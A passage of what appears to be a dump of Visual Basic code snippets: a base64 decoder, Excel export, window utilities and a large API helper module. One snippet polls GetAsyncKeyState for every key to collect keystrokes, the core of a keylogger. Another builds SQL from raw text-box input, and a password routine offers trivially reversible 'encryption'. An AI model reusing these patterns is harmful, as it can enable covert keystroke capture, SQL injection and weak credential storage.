dstBase64Decoded.Byte3 = 0\n Base64Decode = 2\n Exit Function\nEnd If\ndstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\ndstBase64Decoded.Byte2 = (srcBase64Encoded.Byte2 And keyByteB.Byte1) * keyByteB.Byte2 + _\n (srcBase64Encoded.Byte3 And keyByteB.Byte3) / keyByteB.Byte4\ndstBase64Decoded.Byte3 = (srcBase64Encoded.Byte3 And keyByteC.Byte1) * keyByteC.Byte2 + _\n (srcBase64Encoded.Byte4 And keyByteC.Byte3) / keyByteC.Byte4\nBase64Decode = 3\n \nEnd Function\nPrivate Function DeMapCode(srcChar As String) As Byte\n If Len(srcChar) <> 1 Then\n DeMapCode = 0\n Exit Function\n End If\n \n Select Case srcChar\n Case \"A\" To \"Z\"\n DeMapCode = Asc(srcChar) - 65\n Case \"a\" To \"z\"\n DeMapCode = Asc(srcChar) - 97 + 26\n Case \"0\" To \"9\"\n DeMapCode = Asc(srcChar) - 48 + 52\n Case \"+\"\n DeMapCode = 62\n Case \"/\"\n DeMapCode = 63\n Case \"=\"\n DeMapCode = 64\n Case Else\n DeMapCode = 65\n End Select\nEnd Function\n\n"},{"WorldId":1,"id":6491,"LineNumber":1,"line":"'by Tair Abdurman\n'visit http://www.tair.freeservers.com\n' for other examples\n'e-mail: excelz@tair.freeservers.com\nFunction CreateExcelFile() As Long\n On Error GoTo CatchErr\n \n Const LF_SYMBOL As Byte = &HA\n Const TAB_SYMBOL As Byte = &H9\n Dim szFilePath As String\n Dim szFileName As String\n Dim szDefaultBuffer As String\n Dim lFieldCount As Long\n Dim lRowCount As Long\n Dim ltempCount As Long\n Dim ltempCount2 As Long\n szFilePath = App.Path\n If Right(szFilePath, 1) <> \"\\\" Then szFilePath = szFilePath & \"\\\"\n szFileName = \"TestExcel\"\n lFieldCount = 10\n lRowCount = 10\n Open szFilePath & szFileName & \".xls\" For Append As #1\n szDefaultBuffer = \"\"\n \n 'save field names\n ltempCount = 1\n Do While ltempCount <= lFieldCount\n szDefaultBuffer = szDefaultBuffer & Chr(TAB_SYMBOL) & \"Field\" & ltempCount\n ltempCount = ltempCount + 1\n Loop\n 'can be skipped because Print put that symbol\n 'szDefaultBuffer=szDefaultBuffer & chr(LF_SYMBOL)\n Print #1, szDefaultBuffer\n 'save field values\n ltempCount = 1\n Do While ltempCount <= lRowCount\n \n szDefaultBuffer = \"\"\n \n ltempCount2 = 1\n \n Do While ltempCount2 <= lFieldCount\n szDefaultBuffer = szDefaultBuffer & Chr(TAB_SYMBOL) & \"Value\" & ltempCount & \":\" & ltempCount2\n ltempCount2 = ltempCount2 + 1\n Loop\n \n 'can be skipped because Print put that symbol\n 'szDefaultBuffer=szDefaultBuffer & chr(LF_SYMBOL)\n \n Print #1, szDefaultBuffer\n \n ltempCount = ltempCount + 1\n Loop\n Close 1\n \n CreateExcelFile = 0\n Exit Function\nCatchErr:\n CreateExcelFile = Err.Number\nEnd Function\n"},{"WorldId":1,"id":2616,"LineNumber":1,"line":"'simple just pass the password to it like this\n'Encrypt(\"password\")\nPrivate Function Encrypt(varPass As String)\nIf Dir(path to save password to) <> \"\" Then: Kill \"path to save password to\"\nDim varEncrypt As String * 50\nDim varTmp As Double\n Open \"path to save password to\" For Random As #1 Len = 50\n For I = 1 To Len(varPass)\n \n varTmp = Asc(Mid$(varPass, I, 1))\n varEncrypt = Str$(((((varTmp * 1.5) / 2.1113) * 1.111119) * I))\n Put #1, I, varEncrypt\n \n \n Next I\n Close #1\nEnd Function\n'returns the decrypted pass\n'like if decrypt() = \"password\" then\nPrivate Function Decrypt()\nOpen \"path to save password to\" For Random As #1 Len = 50\n Dim varReturn As String * 50\n Dim varConvert As Double\n Dim varFinalPass As String\n Dim varKey As Integer\n \n \n For I = 1 To LOF(1) / 50\n \n \n Get #1, I, varReturn\n varConvert = Val(Trim(varReturn))\n varConvert = ((((varConvert / 1.5) * 2.1113) / 1.111119) / I)\n varFinalPass = varFinalPass & Chr(varConvert)\n \n \n Next I\n Decrypt = varFinalPass\n Close #1\nEnd Function\n"},{"WorldId":1,"id":2624,"LineNumber":1,"line":"Private Sub txtSTREET_KeyUp(KeyCode As Integer, Shift As Integer)\nDim PrevLength As Integer, PrevStart As Integer\nIf Not KeyCode >= 65 Then Exit Sub\nIf firstcome Then firstcome = False: Exit Sub\n With DataEnvironment.Connection1.Execute(\"SELECT ADDRESS from tblFlats WHERE UCASE(ADDRESS) like '\" & UCase(Me.txtSTREET) & \"%'\")\n If Not .EOF Then\n If Not Me.txtSTREET = \"\" Then\n PrevStart = Len(Me.txtSTREET) + 1\n PrevLength = -Len(Me.txtSTREET) + Len(!ADDRESS)\n Me.txtSTREET.SelStart = PrevStart\n Me.txtSTREET.SelLength = PrevLength\n Me.txtSTREET.SelText = Mid$(!ADDRESS, Len(Me.txtSTREET) + 1)\n Me.txtSTREET.SelStart = PrevStart - 1\n Me.txtSTREET.SelLength = PrevLength\n End If\n 'Else\n 'MsgBox \"The entered fragment is not found in the list!\"\n 'Me.STREET = \"\"\n End If\n End With\nEnd Sub\n"},{"WorldId":1,"id":2935,"LineNumber":1,"line":"'Place this two lines of code any where in your program\n'...\n'enjoy!\n Dim tmp As Long\n tmp = SendMessage(Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)"},{"WorldId":1,"id":2647,"LineNumber":1,"line":"MyCommandLine = Trim(UCase(Command()))"},{"WorldId":1,"id":2651,"LineNumber":1,"line":"Public Sub AlwaysOnTop(myfrm As Form, SetOnTop As Boolean)\n If SetOnTop Then\n lFlag = HWND_TOPMOST\n Else\n lFlag = HWND_NOTOPMOST\n End If\n SetWindowPos myfrm.hwnd, lFlag, _\n myfrm.Left / Screen.TwipsPerPixelX, _\n myfrm.Top / Screen.TwipsPerPixelY, _\n myfrm.Width / Screen.TwipsPerPixelX, _\n myfrm.Height / Screen.TwipsPerPixelY, _\n SWP_NOACTIVATE Or SWP_SHOWWINDOW\nEnd Sub\n'Well, if your for example in a form called 'Form1' then you'd simply type:\nAlwaysOnTop Form1, True"},{"WorldId":1,"id":2653,"LineNumber":1,"line":"'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The \n'better But It Consumes More System Rescources\nDim KeyLoop As Byte\nDim FoundKeys As String\nDim KeyResult As Long\nFor KeyLoop = 1 To 255\n KeyResult = GetAsyncKeyState(KeyLoop)\n If KeyResult = -32767 Then\n FoundKeys = FoundKeys + Chr(KeyLoop)\n End If\nNext"},{"WorldId":1,"id":2655,"LineNumber":1,"line":"Public Blue As Double\nPublic Green As Double\nPublic Red As Double\nPublic BlueS As Double\nPublic GreenS As Double\nPublic RGBs As String\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, _\nY As Single)\nCall ConvertRGB(Form1.Point(X, Y))\nForm1.Caption = RGBs\nEnd Sub\nPublic Function ConvertRGB(P)\n Blue = Fix((P / 256) / 256)\n BlueS = (Blue * 256) * 256\n Green = Fix((P - BlueS) / 256)\n GreenS = Green * 256\n Red = Fix(P - BlueS - GreenS)\n RGBs = \"RGB(\" & Red & \", \" & Green & \", \" & Blue & \")\"\nEnd Function"},{"WorldId":1,"id":2693,"LineNumber":1,"line":"Attribute VB_Name = \"StartupModule\"\nOption Explicit\nPublic DBa(1 To 100) As String\nPublic AppPath\nPublic DallorGet\nPublic FirstLoad\nPublic KeyBoardType\nPublic KeyBoardRepeatDelay\nPublic KeyBoardRepeatSpeed\nPublic KeyBoardCaretFlashSpeed\nPublic CurDate\nPublic Ret As String\nPublic ReturnINIdat\nPublic INIFileFound\nPublic ShortFName\nPublic title\nPublic FileInfoName As String\nPublic FileInfoPathName As String\nPublic FileInfoSize As String\nPublic FileInfoLastModified As String\nPublic FileInfoLastAccessed As String\nPublic FileInfoAttributeHidden As String\nPublic FileInfoAttributeSystem As String\nPublic FileInfoAttributeReadOnly As String\nPublic FileInfoAttributeArchive As String\nPublic FileInfoAttributeTemporary As String\nPublic FileInfoAttributeNormal As String\nPublic FileInfoAttributeCompressed As String\nPublic VBSysDir\nPublic DirChkSize\nPublic Cd_Rom\nPublic Msg\nPublic DatGet\nPublic Word\nPublic StartTime\nPublic WordD\nPublic WordK\nPublic Dat\nPublic DOt\nPublic IsFileThere\nPublic Playinfo\nPublic DelConFirm\nPublic FlPath\nPublic sDType\nPublic GetWinDir\nPublic FlName\nPublic ShortPN\nPublic GWinDir\nPublic SupSound\nPublic DriveFreeSpace\nPublic DOSWinActive As String\nPublic Const GW_HWNDNEXT = 2\nPublic Const DRIVE_CDROM = 5\nPublic Const DRIVE_FIXED = 3\nPublic Const DRIVE_RAMDISK = 6\nPublic Const DRIVE_REMOTE = 4\nPublic Const DRIVE_REMOVABLE = 2\nPublic Const DRIVE_UNKNOWN = 0\nPublic Const AUDIO_NONE = 0\nPublic Const AUDIO_WAVE = 1\nPublic Const AUDIO_MIDI = 2\nPublic Const HWND_TOPMOST = -1\nPublic Const SWP_NOSIZE = &H1\nPublic Const SWP_NOMOVE = &H2\nPublic Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE\nPublic Const WM_CLOSE = &H10\nPublic Const FILE_ATTRIBUTE_READONLY = &H1\nPublic Const FILE_ATTRIBUTE_HIDDEN = &H2\nPublic Const FILE_ATTRIBUTE_SYSTEM = &H4\nPublic Const FILE_ATTRIBUTE_DIRECTORY = &H10\nPublic Const FILE_ATTRIBUTE_ARCHIVE = &H20\nPublic Const FILE_ATTRIBUTE_NORMAL = &H80\nPublic Const FILE_ATTRIBUTE_TEMPORARY = &H100\nPublic Const FILE_ATTRIBUTE_COMPRESSED = &H800\nPrivate Const MF_BYPOSITION = &H400\nPrivate Const MF_REMOVE = &H1000\nPublic Const SPI_GETKEYBOARDSPEED = 10\nPublic Const SPI_GETKEYBOARDDELAY = 22\nDeclare Function FindFirstFile Lib \"kernel32\" Alias \"FindFirstFileA\" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long\nDeclare Function FindClose Lib \"kernel32\" (ByVal hFindFile As Long) As Long\nDeclare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long\nDeclare Function GetWindowDirectory Lib \"kernel32\" Alias \"GetWindowsDirectoryA\" (ByVal lpBuffer As String, ByVal nSize As Long) As Long\nDeclare Function FileTimeToSystemTime Lib \"kernel32\" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long\nDeclare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long\nDeclare Function EnumWindows Lib \"user32\" (ByVal wndenmprc As Long, ByVal lParam As Long) As Long\nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nDeclare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long\nDeclare Function GetKeyboardType Lib \"user32\" (ByVal nTypeFlag As Long) As Long\nDeclare Function GetCaretBlinkTime Lib \"user32\" () As Long\n\nDeclare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nDeclare Function GetDesktopWindow Lib \"user32\" () As Long\nDeclare Function LockWindowUpdate Lib \"user32\" (ByVal hwndLock As Long) As Long\nDeclare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long\nDeclare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nDeclare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal aint As Integer) As Integer\nDeclare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Integer) As Long\nDeclare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nDeclare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPrivate Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nPrivate Declare Function DrawMenuBar Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetMenuItemCount Lib \"user32\" (ByVal hMenu As Long) As Long\nPrivate Declare Function GetSystemMenu Lib \"user32\" (ByVal hwnd As Long, ByVal bRevert As Long) As Long\nPrivate Declare Function RemoveMenu Lib \"user32\" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nPrivate Declare Function fCreateShellGroup Lib \"STKIT432.DLL\" _\n(ByVal lpstrDirName As String) As Long\nPrivate Declare Function fCreateShellLink Lib \"STKIT432.DLL\" _\n(ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, _\nByVal lpstrLinkPath As String, ByVal lpstrLinkArguments As String) As Long\nPrivate Declare Function fRemoveShellLink Lib \"STKIT432.DLL\" _\n(ByVal lpstrFolderName As String, ByVal lpstrLinkName As String) As Long\nPrivate Type SHFILEOPSTRUCT\n hwnd As Long\n wFunc As Long\n pFrom As String\n pTo As String\n fFlags As Integer\n fAnyOperationsAborted As Boolean\n hNameMappings As Long\n lpszProgressTitle As String ' only used if FOF_SIMPLEPROGRESS\nEnd Type\n\nType RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nType FILETIME\n LowDateTime As Long\n HighDateTime As Long\nEnd Type\nType WIN32_FIND_DATA\n dwFileAttributes As Long\n ftCreationTime As FILETIME\n ftLastAccessTime As FILETIME\n ftLastWriteTime As FILETIME\n nFileSizeHigh As Long\n nFileSizeLow As Long\n dwReserved0 As Long\n dwReserved1 As Long\n cFileName As String * 260 'MUST be set to 260\n cAlternate As String * 14\nEnd Type\n\nType SYSTEMTIME\n wYear As Integer\n wMonth As Integer\n wDayOfWeek As Integer\n wDay As Integer\n wHour As Integer\n wMinute As Integer\n wSecond As Integer\n wMilliseconds As Integer\nEnd Type\n\nType POINTAPI\n X As Long\n Y As Long\nEnd Type\nConst SWP_NOZORDER = &H4\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nConst HKEY_LOCAL_MACHINE = &H80000002\nPrivate Declare Function GetDriveType Lib \"kernel32\" Alias \"GetDriveTypeA\" (ByVal nDrive As String) As Long\nPrivate Declare Function GetLogicalDriveStrings Lib \"kernel32\" Alias \"GetLogicalDriveStringsA\" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long\nPublic Const SND_ALIAS = &H10000\nPublic Const SND_ALIAS_ID = &H110000\nPublic Const SND_ALIAS_START = 0\nPublic Const SND_APPLICATION = &H80\nPublic Const SND_ASYNC = &H1\nPublic Const SND_FILENAME = &H20000\nPublic Const SND_LOOP = &H8\nPublic Const SND_MEMORY = &H4\nPublic Const SND_NODEFAULT = &H2\nPublic Const SND_NOSTOP = &H10\nPublic Const GWL_STYLE = (-16)\nPublic Const ES_NUMBER = &H2000\nPublic Const SND_NOWAIT = &H2000\nPublic Const SND_PURGE = &H40\nPublic Const SND_RESERVED = &HFF000000\nPublic Const SND_RESOURCE = &H40004\nPublic Const SND_SYNC = &H0\nPublic Const SND_TYPE_MASK = &H170007\nPublic Const SND_VALID = &H1F\nPublic Const SND_VALIDFLAGS = &H17201F\nPrivate Const ERROR_SUCCESS = 0&\nPrivate Const APINULL = 0&\nPrivate ReturnCode As Long\n\n\nPrivate Target As String\nPrivate Type STARTUPINFO\n cb As Long\n lpReserved As String\n lpDesktop As String\n lpTitle As String\n dwX As Long\n dwY As Long\n dwXSize As Long\n dwYSize As Long\n dwXCountChars As Long\n dwYCountChars As Long\n dwFillAttribute As Long\n dwFlags As Long\n wShowWindow As Integer\n cbReserved2 As Integer\n lpReserved2 As Long\n hStdInput As Long\n hStdOutput As Long\n hStdError As Long\n End Type\n\nPrivate Type PROCESS_INFORMATION\n hProcess As Long\n hThread As Long\n dwProcessID As Long\n dwThreadID As Long\n End Type\nGlobal Const WM_USER = &H400\nGlobal UserhWnd As Long\nPrivate Declare Function WaitForSingleObject Lib \"kernel32\" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\n\nPrivate Declare Function CreateProcessA Lib \"kernel32\" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long\n\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\n Private Const NORMAL_PRIORITY_CLASS = &H20&\n Private Const INFINITE = -1&\nPrivate Declare Function GetDriveTypeA Lib \"kernel32\" (ByVal nDrive As String) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" _\n (ByVal hObject As Long) As Long\n \nPrivate lShowCursor As Long\nPrivate Declare Function ShowCursor Lib \"user32\" (ByVal bShow As Long) As Long\n \nDeclare Function GetDiskFreeSpace Lib \"kernel32\" Alias \"GetDiskFreeSpaceA\" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long\n \nPrivate Declare Function GetWindowsDirectoryA Lib \"kernel32\" _\n (ByVal lpBuffer As String, ByVal nSize As Long) As Long\nPrivate Declare Function waveOutGetNumDevs Lib \"winmm\" () As Long\nPrivate Declare Function midiOutGetNumDevs Lib \"winmm\" () As Integer\n \nPrivate Const FO_DELETE = &H3\nPrivate Const FOF_ALLOWUNDO = &H40\nPrivate Const FOF_SILENT = &H4\nPrivate Const FOF_NOCONFIRMATION = &H10\nPrivate Declare Function SHFileOperation Lib \"shell32.dll\" Alias _\n \"SHFileOperationA\" (lpFileOp As SHFILEOPSTRUCT) As Long\n\nPrivate Declare Function FillRect Lib \"user32\" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long\nPrivate Declare Function CreateSolidBrush Lib \"gdi32\" (ByVal crColor As Long) As Long\nDeclare Function GetSystemDirectory Lib \"kernel32\" Alias \"GetSystemDirectoryA\" (ByVal lpBuffer As String, ByVal nSize As Long) As Long\n\n\n\n\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" _\n (ByVal hwnd As Long, ByVal nIndex As Long) As Long\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" _\n (ByVal hwnd As Long, ByVal nIndex As Long, _\n ByVal dwNewLong As Long) As Long\n\nDeclare Function GetActiveWindow Lib \"user32\" () As Long\nDeclare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\nDeclare Function IsWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nDeclare Function MoveWindow Lib \"user32\" _\n (ByVal hwnd As Long, _\n ByVal X As Long, ByVal Y As Long, _\n ByVal nWidth As Long, ByVal nHeight As Long, _\n ByVal bRepaint As Long) As Long\nDeclare Function mciGetErrorString Lib \"winmm.dll\" Alias \"mciGetErrorStringA\" (ByVal dwError As Long, _\nByVal lpstrBffer As String, ByVal uLength As Long) As Long\nPublic Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPublic Declare Function sndPlaySoundByte Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (lpszSoundName As Byte, ByVal uFlags As Long) As Long\n Declare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" (ByVal lpBuffer As String, nSize As Long) As Long\nPublic Function Findfile(xstrfilename) As WIN32_FIND_DATA\nDim Win32Data As WIN32_FIND_DATA\nDim plngFirstFileHwnd As Long\nDim plngRtn As Long\nplngFirstFileHwnd = FindFirstFile(xstrfilename, Win32Data) ' Get information of file using API call\nIf plngFirstFileHwnd = 0 Then\n Findfile.cFileName = \"Error\" ' If file was not found, return error as name\nElse\n Findfile = Win32Data ' Else return results\nEnd If\nplngRtn = FindClose(plngFirstFileHwnd) ' It is important that you close the handle for FindFirstFile\nEnd Function\n\nFunction REGGETSTRING$(hInKey As Long, ByVal subkey$, ByVal valname$)\n Dim v$, RetVal$, hSubKey As Long, dwType As Long, SZ As Long\n Dim r As Long\n RetVal$ = \"\"\n Const KEY_ALL_ACCESS As Long = &HF0063\n Const ERROR_SUCCESS As Long = 0\n Const REG_SZ As Long = 1\n r = RegOpenKeyEx(hInKey, subkey$, 0, KEY_ALL_ACCESS, hSubKey)\n If r <> ERROR_SUCCESS Then GoTo Quit_Now\n SZ = 256: v$ = String$(SZ, 0)\n r = RegQueryValueEx(hSubKey, valname$, 0, dwType, ByVal v$, SZ)\n If r = ERROR_SUCCESS And dwType = REG_SZ Then\n RetVal$ = Left$(v$, SZ)\n Else\n RetVal$ = \"--Not String--\"\n End If\n If hInKey = 0 Then r = RegCloseKey(hSubKey)\nQuit_Now:\n REGGETSTRING$ = RetVal$\n End Function\nPublic Function ActiveConnection() As Boolean\n'\n'Usage:\n' ActiveConnection\n' Msgbox ActiveConnection 'True = Connected to Internet \\ False = Not Connected to Internet\n'\nDim hKey As Long\nDim lpSubKey As String\nDim phkResult As Long\nDim lpValueName As String\nDim lpReserved As Long\nDim lpType As Long\nDim lpData As Long\nDim lpcbData As Long\nActiveConnection = False\nReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, \"System\\CurrentControlSet\\Services\\RemoteAccess\", phkResult)\nIf ReturnCode = ERROR_SUCCESS Then\n hKey = phkResult\n lpValueName = \"Remote Connection\"\n lpReserved = APINULL\n lpType = APINULL\n lpData = APINULL\n lpcbData = APINULL\n ReturnCode = RegQueryValueEx(hKey, lpValueName, _\n lpReserved, lpType, ByVal lpData, lpcbData)\n lpcbData = Len(lpData)\n ReturnCode = RegQueryValueEx(hKey, lpValueName, _\n lpReserved, lpType, lpData, lpcbData)\n If ReturnCode = ERROR_SUCCESS Then\n If lpData = 0 Then\n ActiveConnection = False\n Else\n ActiveConnection = True\n End If\n End If\n RegCloseKey (hKey)\nEnd If\nEnd Function\n\n\n\nPublic Function EnumCallback(ByVal app_hWnd As Long, ByVal param As Long) As Long\nDim buf As String * 256\nDim title As String\nDim length As Long\n ' Get the window's title.\n length = GetWindowText(app_hWnd, buf, Len(buf))\n title = Left$(buf, length)\n ' See if this is the target window.\n If InStr(title, Target) <> 0 Then\n ' Kill the window.\n SendMessage app_hWnd, WM_CLOSE, 0, 0\n End If\n \n ' Continue searching.\n EnumCallback = 1\nEnd Function\n\n\n\nPublic Function FindWindowPartial(ByVal TitlePart As String) As Long\n'\n'Used By FindDosWin\n'\n Dim hWndTmp As Long\n Dim nRet As Integer\n Dim TitleTmp As String\n TitlePart = UCase$(TitlePart)\n hWndTmp = FindWindow(0&, 0&)\n \n Do Until hWndTmp = 0\n TitleTmp = Space$(256)\n nRet = GetWindowText(hWndTmp, TitleTmp, Len(TitleTmp))\n If nRet Then\n TitleTmp = UCase$(VBA.Left$(TitleTmp, nRet))\n If InStr(TitleTmp, TitlePart) Then\n FindWindowPartial = hWndTmp\n Exit Do\n End If\n End If\n hWndTmp = GetWindow(hWndTmp, GW_HWNDNEXT)\n Loop\nEnd Function\n\nFunction GETCURRUSER() As String\n'\n'Usage:\n' USERNAME = GETCURRUSER()\n' Msgbox USERNAME\n'\n GETCURRUSER = REGGETSTRING$(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\", \"RegisteredOwner\")\nEnd Function\nFunction GETCURRORG() As String\n'\n'Usage:\n' GETCURRORG\n' Msgbox USERORG\n'\n GETCURRORG = REGGETSTRING$(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\", \"RegisteredOrganization\")\nEnd Function\nFunction STRIPNULLS(startStrg$) As String\n Dim c%, item$\n c% = 1\n Do\n If Mid$(startStrg$, c%, 1) = Chr$(0) Then\n item$ = Mid$(startStrg$, 1, c% - 1)\n startStrg$ = Mid$(startStrg$, c% + 1, Len(startStrg$))\n STRIPNULLS$ = item$\n Exit Function\n End If\n c% = c% + 1\n Loop\nEnd Function\nFunction App_Path() As String\n'\n'Usage:\n' App_Path\n' msgbox App_Path\n'\nDim X\n X = App.Path\n If Right$(X, 1) <> \"\\\" Then X = X + \"\\\"\n App_Path = UCase$(X)\nEnd Function\nSub CenterForm(WhatForm As Form)\n'\n'Usage:\n' CenterForm Form1\n'\n If WhatForm.WindowState <> 0 Then Exit Sub\n WhatForm.Move (Screen.Width - WhatForm.Width) \\ 2, (Screen.Height - WhatForm.Height) \\ 2\nEnd Sub\nPublic Sub CenterFormTop(frm As Form)\n'\n'Usage:\n' CenterFormTop Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 2\n .Top = (Screen.Height - .Height) / (Screen.Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottom(frm As Form)\n'\n'Usage:\n' CenterFormBottom Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 2\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottomRight(frm As Form)\n'\n'Usage:\n' CenterFormBottomRight Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 1\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottomLeft(frm As Form)\n'\n'Usage:\n' CenterFormBottomLeft Form1\n'\n With frm\n .Left = 0\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormTopRight(frmForm As Form)\n'\n'Usage:\n' CenterFormTopRight Form1\n'\n With frmForm\n .Left = (Screen.Width - .Width) / 1\n .Top = (Screen.Height - .Height) / 2000\n End With\nEnd Sub\nPublic Sub CenterFormTopLeft(frmForm As Form)\n'\n'Usage:\n' CenterFormTopLeft Form1\n'\n With frmForm\n .Left = 0\n .Top = 0\n End With\nEnd Sub\nSub DeKrypt()\n'\n'Usage:\n' Dat = \"TEST\"\n' DeKrypt\n' Msgbox WordD\n'\nDim i, Strg$, h$, J$\nWordD = \"\"\nFor i = 1 To Len(Dat)\n WordD = WordD & Chr(Asc(Mid(Dat, i, 1)) - 1)\nNext i\nEnd Sub\nSub Krypt()\n'\n'Usage:\n' Dat = \"TEST\"\n' Krypt\n' Msgbox WordK\n'\nDim i, Strg$, h$, J$\nWordK = \"\"\nFor i = 1 To Len(Dat)\n WordK = WordK & Chr(Asc(Mid(Dat, i, 1)) + 1)\nNext i\nEnd Sub\nSub Detect_CD_Rom()\n'\n'Usage:\n' Detect_CD_ROM\n' Msgbox CD_ROM\n'\nDim r&, allDrives$, JustOneDrive$, pos%, DriveType&\nDim CDfound As Integer\n allDrives$ = Space$(64)\n r& = GetLogicalDriveStrings(Len(allDrives$), allDrives$)\n allDrives$ = Left$(allDrives$, r&)\n Do\n pos% = InStr(allDrives$, Chr$(0))\n If pos% Then\n JustOneDrive$ = Left$(allDrives$, pos%)\n allDrives$ = Mid$(allDrives$, pos% + 1, Len(allDrives$))\n DriveType& = GetDriveType(JustOneDrive$)\n If DriveType& = DRIVE_CDROM Then\n CDfound% = True\n Exit Do\n End If\n End If\n Loop Until allDrives$ = \"\" Or DriveType& = DRIVE_CDROM\n If CDfound% Then\n Cd_Rom = Trim(UCase$(JustOneDrive$))\n Else: Cd_Rom = \"?\"\n End If\nEnd Sub\nSub HandW(FORMID As Form)\n'\n'Form Hieght And Width\n'\n'Usage:\n' HandW Form1\n'\nDim a, b\nDat = \"\"\na = FORMID.Height\nb = FORMID.Width\nDat = \"Hieght = \" & a & \" Width = \" & b\nMsg = Dat\nMsgBx\nEnd Sub\nSub LandT(FORMID As Form)\n'\n'Form Left And Top\n'\n'Usage:\n' LandT Form1\n'\nDim a, b\nDat = \"\"\na = FORMID.Left\nb = FORMID.Top\nDat = \"Left = \" & a & \" Top = \" & b\nMsg = Dat\nMsgBx\nEnd Sub\nSub MidiPlay(NamePath As String)\n'\n'Usage:\n' MidiPlay \"Test.mid\"\n'\nOpenMidi NamePath\nPlayMidi\nEnd Sub\nSub OpenMidi(sfile As String)\n'\n'Used by MidiPlay SUB\n'\nDim sShortFile As String * 67\nDim lResult As Long\nDim sError As String * 255\nlResult = 